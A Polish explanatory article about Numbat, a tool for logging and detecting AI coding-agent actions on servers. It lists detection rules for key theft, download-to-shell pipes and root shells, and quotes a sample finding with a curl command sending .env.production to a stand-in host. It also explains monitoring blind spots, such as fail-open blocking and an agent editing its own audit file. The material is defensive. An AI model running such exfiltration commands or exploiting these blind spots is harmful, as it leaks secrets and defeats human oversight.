Numbat: jak monitorować działania agentów AI na serwerze

Czym jest Numbat

Numbat zapewnia wgląd w działania agenta AI na posiadanym serwerze. Narzędzie odczytuje wywołania zwrotne (hook callbacks) oraz pliki sesji generowane przez agentów programistycznych, normalizuje je do ujednoliconego formatu zdarzeń i porównuje z regułami wykrywającymi podejrzane zachowania, takie jak odczyt klucza prywatnego SSH czy przesyłanie pobranych danych bezpośrednio do powłoki (pipe). Firma Perplexity udostępniła narzędzie jako oprogramowanie open source na licencji Apache 2.0, a pierwsze wydanie z tagiem opublikowano 29 lipca 2026.

Poniższe informacje pochodzą z repozytorium projektu oraz jego dokumentacji, z dnia 2 sierpnia 2026. Wszelkie twierdzenia przypisane firmie Perplexity są odpowiednio oznaczone. Niniejszy tekst nie jest instrukcją instalacji, ponieważ repozytorium jest nowe, a zawarte w nim polecenia będą ulegać zmianom.

Problem: brak rejestracji działań agenta

Agent programistyczny na serwerze VPS wykonuje polecenia powłoki, odczytuje i zapisuje pliki oraz otwiera połączenia sieciowe, działając jako użytkownik, któremu nadano uprawnienia. Historia powłoki nie rejestruje tych działań, ponieważ agent nie korzysta z interaktywnego terminala. sshd rejestruje jedynie logowanie użytkownika, pomijając decyzje podjęte przez model w trakcie sesji. /var/log/auth.log pozostaje nieaktywny, dopóki nie nastąpi próba dostępu do sudo. Agent prowadzi własny zapis działań, jednak plik ten znajduje się w katalogu sesji agenta, jego format zmienia się wraz z kolejnymi releases, a sam proces agenta ma możliwość modyfikacji tego pliku.

W rezultacie, na pytanie czy agent odczytał .env.production w ubiegły wtorek, na większości serwerów nie można udzielić wiarygodnej odpowiedzi. Ta luka w monitoringu jest powodem powstania niniejszego projektu.

Co Perplexity twierdzi na temat działania Numbat

Plik README rozpoczyna się od opisu narzędzia jako „zapewniającego wgląd w aktywność agentów AI na punktach końcowych, z lokalną detekcją, opcjonalną blokadą przed wykonaniem akcji oraz rekonstrukcją śledczą”. Punkt końcowy oznacza tutaj maszynę, na której uruchomiony jest agent, a nie urządzenie sieciowe monitorujące ruch z zewnątrz. Są to odrębne możliwości o różnym znaczeniu.

Detekcja odbywa się na urządzeniu. Reguły są zapisane w CEL (common expression language) i oceniane lokalnie, z obsługą wieloetapowych reguł sekwencyjnych oraz możliwością dodawania własnych reguł w formacie YAML. Żadne dane nie muszą opuszczać maszyny, aby reguła została wyzwolona.

Blokowanie jest opcjonalne i ograniczone. Działa wyłącznie poprzez synchroniczne haki (hooks) przed wykonaniem akcji, w przypadku agentów, które je udostępniają, i jest domyślnie wyłączone.

Rekonstrukcja następuje po fakcie. numbat scan analizuje artefakty sesji, które agent już zapisał na dysku, dzięki czemu można sprawdzić aktywność sprzed instalacji narzędzia. Projekt precyzyjnie ogranicza to twierdzenie: „Rekonstrukcja danych w spoczynku nie jest przejęciem zawartości dysku ani pamięci i nie pozwala na odzyskanie aktywności, której agent nie utrwalił”.

Dane wyjściowe mają postać wersjonowanego formatu NDJSON (newline delimited JSON), obejmującego zdarzenia, wyniki, decyzje o wymuszeniu, wskaźniki oraz podsumowania skanowania, zgodnie ze schematem w wersji 0.2.0 dla wydania v0.1.2. Rekordy trafiają na stdout lub do pliku lokalnego, a opcjonalnie przez HTTP do uruchomionego kolektora. Narzędzie jest dostarczane jako jeden statyczny plik binarny Go, zbudowany bez cgo, dla systemów macOS, Linux i Windows na architekturach amd64 oraz arm64, więc na VPS z systemem Linux jest to pojedynczy plik niewymagający wcześniejszej instalacji środowiska uruchomieniowego.

Które agenty faktycznie widzi Numbat?

Macierz pokrycia w docs/agent-coverage.md stanowi wiarygodną listę i jest ona niejednolita. Projekt otwarcie o tym informuje, zamiast ukrywać ten fakt. Claude Code, Codex, Gemini CLI, Cursor oraz GitHub Copilot CLI obsługują zarówno skanowanie artefaktów, jak i przechwytywanie na żywo za pomocą pre-action hook. OpenClaw otrzymuje natywną wtyczkę od wersji 2026.7.1. Długa lista pozycji jest oznaczona jako odroczona, co oznacza, że istnieje ścieżka dla hooka działającego na żywo, ale brak parsera artefaktów. Często wynika to z faktu, że dany agent przechowuje historię w SQLite z dziennikiem write-ahead log, którego odczyt podczas pracy agenta nie jest bezpieczny. OpenCode oraz Cline znajdowały się w tej grupie w momencie odczytu macierzy 2 sierpnia 2026.

Przed zaplanowaniem jakichkolwiek działań z użyciem tego narzędzia należy sprawdzić wiersz dotyczący używanego agenta, ponieważ termin „obsługiwany” oznacza co innego w niemal każdym przypadku.

Jak wygląda wykrycie

Reguły posiadają identyfikatory określające ich przeznaczenie. secrets.read_private_key obejmuje klucz SSH, poświadczenia AWS, konfigurację kube lub dane logowania do rejestru pakietów. exec.download_pipe_shell aktywuje się, gdy dane wyjściowe curl lub wget są przesyłane potokiem do interpretera. privilege.elevated_shell wykrywa żądanie interaktywnej powłoki root za pośrednictwem sudo, doas, su lub pkexec. impact.cryptomining_launch dopasowuje znane pliki binarne koparek kryptowalut oraz nazwy obrazów.

Reguły sekwencyjne łączą zdarzenia w ramach jednej sesji. chain.secret_read_then_egress wymaga odczytu pliku z sekretem, po którym następuje polecenie przesyłające dane na zewnątrz. Plik README publikuje poniższe ustalenia z kontrolowanego odtworzenia dwóch wywołań zwrotnych pre-action narzędzia Claude Code, a nie z rzeczywistego incydentu. Zostały one tutaj ograniczone do istotnych pól:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Zwróć uwagę na "confidence": "medium" znajdujące się wewnątrz rekordu oraz na to, co projekt mówi o całej klasie danych wyjściowych: „Wyniki są dopasowaniami reguł, a nie dowodem naruszenia bezpieczeństwa”. Skrypt wdrożeniowy, który odczytuje klucz, a następnie przesyła artefakt kompilacji, dopasuje się do tej samej reguły sekwencyjnej. Dopasowanie jest poprawne, a alarm jest błędny, co stanowi normalny stan każdego narzędzia detekcyjnego, z którego kiedykolwiek korzystałeś.

Blokowanie jest domyślnie wyłączone i działa w trybie fail-open

Każda reguła dostarczana z Numbat służy wyłącznie do monitorowania. Zmiana reguły na blokującą wymaga celowego działania: należy skopiować pełny plik YAML reguły do własnego katalogu, zachować ten sam id, dodać enforce: true, zwiększyć wersję, a następnie zweryfikować i zainstalować taką politykę.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Teraz kwestia zaufania do tego mechanizmu. Odpowiedź deny z Numbat jest przekazywana do agenta, a to agent faktycznie odmawia wykonania wywołania narzędzia. Przewodnik po egzekwowaniu zasad jasno określa, co dzieje się w przypadku problemów z samym Numbat: „Nieprawidłowe ładunki, błędy ewaluacji, paniki oraz błędy wyjściowe powodują pominięcie odpowiedzi deny z Numbat”. Dane wejściowe haka są ograniczone do 4 MiB, a dane przekraczające ten limit są traktowane w ten sam sposób.

Przewodnik równie jasno określa ograniczenia odpowiedzi deny, która dotrze do celu: „Tryb fail-open oznacza, że Numbat wstrzymuje odpowiedź deny. Nie gwarantuje to wykonania narzędzia: host może nadal monitować, odmówić, przekroczyć limit czasu lub zastosować inny hak bądź politykę”.

Egzekwowanie zasad pełni tutaj rolę zabezpieczenia, a nie sztywnej granicy. Jeśli proces ulegnie awarii, działanie nie zostanie zablokowane przez Numbat, ponieważ monitor, który zawiesza agenta przy każdym błędzie, zostałby odinstalowany w ciągu tygodnia. Jest to rozsądny kompromis. Należy jedynie pamiętać, aby nie budować modelu bezpieczeństwa zakładającego, że odpowiedź deny zawsze dotrze do celu.

Miejsce Numbat w istniejącej infrastrukturze

Numbat działa na punkcie końcowym, wewnątrz drzewa procesów agenta, i domyślnie zapisuje dane do ~/.numbat/records.ndjson. Agent uruchomiony na koncie użytkownika może odczytać ten plik. Może go również edytować. Wartość ścieżki audytu jest dokładnie taka sama, jak izolacja, którą jest otoczona. Oznacza to, że wszystkie dotychczasowe mechanizmy kontroli powinny znajdować się przed tym rozwiązaniem, a nie za nim.

Udostępnienie agentowi programistycznemu tymczasowej maszyny wirtualnej ogranicza zasięg niepożądanego działania. Użytkownik z minimalnymi uprawnieniami na VPS uniemożliwia agentowi dostęp do plików, do których nie powinien mieć wglądu. Utrzymywanie poświadczeń poza kontekstem agenta sprawia, że dopasowanie secrets.read_private_key występuje na tyle rzadko, iż warto je przeanalizować w momencie wystąpienia. Z kolei piaskownica skonfigurowana dla Claude Code na VPS pozostaje głównym mechanizmem izolacji. Izolacja ogranicza zasięg potencjalnie szkodliwego działania, podczas gdy dokumentowanie struktury kodu zmniejsza częstotliwość sytuacji, w których agent podejmuje działania na tyle nieoczekiwane, że wymagają one sprawdzenia logów.

Numbat dodaje warstwę rejestracji zdarzeń, dlatego należy przesyłać logi w miejsce, do którego agent nie ma dostępu. Służą do tego numbat ship oraz punkt końcowy HTTP. Kopia strumienia danych na drugim serwerze stanowi różnicę między plikiem dziennika a dowodem. Model zdarzeń obsługuje również pola MCP (model context protocol), dzięki czemu wywołania narzędzi przechodzące przez serwer MCP hostowany na VPS trafiają do tego samego strumienia co lokalne polecenia powłoki. Jest to istotne, ponieważ ta ścieżka jest niewidoczna dla narzędzi monitorujących wyłącznie bash. Ten sam martwy punkt dotyczy instancji SearXNG skonfigurowanej jako backend wyszukiwania agenta, gdzie ryzyko pojawia się w postaci niezaufanego tekstu ze stron internetowych trafiającego do kontekstu modelu, a nie jako polecenie, które można dopasować do reguł.

Najpierw wypróbuj tryb tylko do odczytu

Zainstaluj przypiętą wersję. Do działania go install wymagane jest Go 1.26.5 lub nowsze. Strona z wydaniami zawiera gotowe pliki binarne wraz z sumami kontrolnymi SHA-256, jeśli wolisz uniknąć budowania ze źródeł.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents wykrywa agentów zainstalowanych w systemie. numbat scan analizuje artefakty sesji znajdujące się już na dysku i wypisuje rekordy. Plik README informuje, że polecenia te „nie instalują hooków ani nie zmieniają konfiguracji agenta”, a numbat „nigdy nie uruchamia agentów ani poleceń znalezionych w artefaktach i wykonuje żądania wychodzące tylko do skonfigurowanych ujść HTTP”. Skanowanie odbywa się w trybie tylko do odczytu z maskowaniem danych poufnych, a standardowe wyjście rekordów nigdy nie zawiera pełnego surowego zapisu sesji.

Przechwytywanie na żywo to kolejny krok, który zmienia konfigurację agenta:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all zapisuje zdarzenia, ustalenia, wskaźniki oraz stosowne decyzje wymuszania do ~/.numbat/records.ndjson. Dwa ostrzeżenia pochodzą bezpośrednio od twórców projektu. Hooki mogą wymagać zaufania wewnątrz agenta, zanim w ogóle zostaną uruchomione, a zaufanie to musi zostać ponownie zweryfikowane po zmianie flag, takich jak --enforce. Ponadto hook status „weryfikuje konfigurację, a nie wykonanie lub dostarczenie”, więc poprawny komunikat o statusie nie jest dowodem na to, że rekordy docierają do celu.

Dlaczego tak nowe repozytorium nie jest jeszcze zależnością

Publiczne wydania to v0.1.1 z 29 lipca 2026 oraz v0.1.2 z 1 sierpnia 2026. W momencie pisania tego tekstu, 2 sierpnia 2026, repozytorium posiadało 597 gwiazdek. Tak szybki wzrost odzwierciedla zainteresowanie odbiorców Perplexity, a nie stabilność kodu. Gwiazdka oznacza jedynie, że ktoś zapisał stronę, aby sprawdzić ją później.

Numer wersji szczerze określa obecny stan projektu. Informacje o wydaniu v0.1.2 dotyczą głównie poprawek w maskowaniu danych uwierzytelniających, a także normalizacji pakietów i telemetrii. Błędy w maskowaniu są typowymi usterkami wczesnej fazy rozwoju narzędzia, którego zadaniem jest bezpieczne odczytywanie transkrypcji z innych programów. Będzie ich więcej, ponieważ dane wejściowe pochodzą od kilkunastu agentów, z których każdy zmienia swój format w niezależnym cyklu.

Z tego wynikają dwie praktyczne zasady. W każdym utrzymywanym projekcie należy przypinać konkretny tag, nigdy @latest. Należy traktować to narzędzie jako instrument poddawany ocenie, a nie jako element infrastruktury, od którego zależy działanie systemu, przynajmniej do momentu, aż schemat danych przestanie ulegać zmianom.

FAQ

Czy Numbat blokuje niebezpieczne polecenia agentów AI?

Tylko jeśli użytkownik wyrazi na to zgodę i tylko w ramach najlepszych starań. Każda reguła dostarczana z Numbat służy wyłącznie do monitorowania. Aby włączyć blokowanie, należy skopiować plik YAML reguły do własnego katalogu, zachować jej id, dodać enforce: true, zwiększyć wersję i zainstalować hook za pomocą --enforce. Nawet wtedy odmowa jest jedynie odpowiedzią przekazywaną do agenta, a to agent decyduje o odrzuceniu wywołania. Dokumentacja projektu wskazuje na zachowanie typu fail-open: błędnie sformatowane ładunki, błędy ewaluacji, paniki oraz awarie wyjścia powodują pominięcie blokady. Należy traktować to rozwiązanie jako zabezpieczenie pomocnicze, a nie jako jedyną barierę ochronną.

Jakie agenty AI wspiera Numbat?

Zakres wsparcia różni się w zależności od agenta i jest wyszczególniony w docs/agent-coverage.md w repozytorium. Claude Code, Codex, Gemini CLI, Cursor oraz GitHub Copilot CLI posiadały zarówno skanowanie artefaktów, jak i przechwytywanie na żywo w momencie odczytu tej strony 2 sierpnia 2026, a OpenClaw posiada natywną wtyczkę od wersji 2026.7.1. Wiele innych agentów wymieniono z aktywną ścieżką hooka, ale bez parsera artefaktów, zazwyczaj dlatego, że ich historia sesji znajduje się w bazie danych SQLite, której odczyt podczas pracy agenta nie jest bezpieczny. Należy zapoznać się z wierszem dotyczącym konkretnego agenta, ponieważ termin "wspierany" oznacza tam różne poziomy funkcjonalności.

Czy agent może manipulować zapisami Numbat?

Tak, jeśli działa na tym samym koncie użytkownika. Zapisy domyślnie trafiają do ~/.numbat/records.ndjson na tej samej maszynie co agent, więc każdy proces z uprawnieniami do zapisu w tej ścieżce może je zmienić lub usunąć. Należy przesyłać strumień do kolektora, do którego agent nie ma dostępu, używając numbat ship lub ujścia HTTP, a lokalny plik traktować jedynie jako kopię pomocniczą. Z tego powodu narzędzie to uzupełnia izolację, zamiast ją zastępować. Agent ograniczony do tymczasowej maszyny wirtualnej działającej na koncie o minimalnych uprawnieniach ma znacznie mniejszy wpływ na własny ślad audytowy.

Czy Numbat jest gotowy na serwer produkcyjny?

Nie jako mechanizm kontrolny, od którego zależy bezpieczeństwo. Pierwsze publiczne wydanie v0.1.1 pojawiło się 29 lipca 2026, a v0.1.2 1 sierpnia 2026, więc flagi oraz schemat rekordów wciąż ulegają zmianom. Uruchomienie numbat agents oraz numbat scan na serwerze jest operacją tylko do odczytu i wiąże się z niskim ryzykiem; pozwoli sprawdzić, jakie dane agenty pozostawiły na dysku. Instalacja hooków wymuszających na ważnym serwerze to inna decyzja, która wymaga przypięcia konkretnej wersji (tagu) oraz planu działania na wypadek nieprawidłowego zachowania hooka.